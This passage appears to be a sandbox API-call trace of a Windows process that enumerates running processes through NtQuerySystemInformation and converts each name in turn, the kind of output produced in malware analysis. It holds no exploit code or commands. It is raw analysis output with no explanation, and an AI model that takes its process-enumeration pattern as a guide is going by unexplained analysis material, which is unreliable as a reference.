ResultLength=0x0) returned 0xc0000004 [0058.310] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0058.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0058.310] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0058.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0058.311] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0058.311] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175cb8 [0058.311] RtlFreeAnsiString (AnsiString="System") [0058.311] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175cb8) returned 1 [0058.311] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0058.311] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e08 [0058.311] RtlFreeAnsiString (AnsiString="smss.exe") [0058.311] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.311] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0058.311] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0058.311] RtlFreeAnsiString (AnsiString="csrss.exe") [0058.311] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.311] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0058.311] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.312] RtlFreeAnsiString (AnsiString="wininit.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0058.312] RtlFreeAnsiString (AnsiString="csrss.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0058.312] RtlFreeAnsiString (AnsiString="winlogon.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0058.312] RtlFreeAnsiString (AnsiString="services.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0058.312] RtlFreeAnsiString (AnsiString="lsass.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.312] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0058.312] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0058.312] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0058.312] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.312] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0058.313] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.313] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b18 [0058.313] RtlFreeAnsiString (AnsiString="dwm.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175b18) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.313] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.313] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.313] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.313] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.313] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.313] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.313] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.314] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0058.314] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.314] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.314] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.314] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0058.315] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.315] RtlFreeAnsiString (AnsiString="audiodg.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0058.315] RtlFreeAnsiString (AnsiString="sihost.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.315] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0058.315] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0058.315] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0058.315] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.315] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0058.315] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0058.315] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.316] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171330 [0058.316] RtlFreeAnsiString (AnsiString="Memory Compression") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171310 [0058.316] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0058.316] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0058.316] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0058.316] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0058.316] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.316] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.316] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0058.317] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.317] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0058.317] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0058.317] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.317] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0058.317] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0058.317] RtlFreeAnsiString (AnsiString="msoia.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.317] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.317] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0058.317] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.317] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0058.317] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171510 [0058.317] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0058.317] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0058.317] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171330 [0058.317] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0058.317] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.320] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0058.321] RtlFreeAnsiString (AnsiString="msoia.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0058.321] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dd8 [0058.321] RtlFreeAnsiString (AnsiString="screensaver.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0058.321] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31622f0 [0058.321] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31622f0) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0058.321] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171510 [0058.321] RtlFreeAnsiString (AnsiString="surveillance.exe") [0058.321] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0058.321] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.322] RtlFreeAnsiString (AnsiString="legends.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0058.322] RtlFreeAnsiString (AnsiString="miniature.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0058.322] RtlFreeAnsiString (AnsiString="spies.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0058.322] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e20 [0058.322] RtlFreeAnsiString (AnsiString="allied.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175d68 [0058.322] RtlFreeAnsiString (AnsiString="geo.exe") [0058.322] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175d68) returned 1 [0058.322] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0058.322] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0058.322] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0058.323] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0058.323] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0058.323] RtlFreeAnsiString (AnsiString="dupleased.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="basin.exe", AllocateDestinationString=1 | out: DestinationString="basin.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0058.323] RtlFreeAnsiString (AnsiString="basin.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168830 [0058.323] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168830) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0058.323] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0058.323] RtlFreeAnsiString (AnsiString="dllhost.exe") [0058.323] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.323] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.324] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0058.324] RtlFreeAnsiString 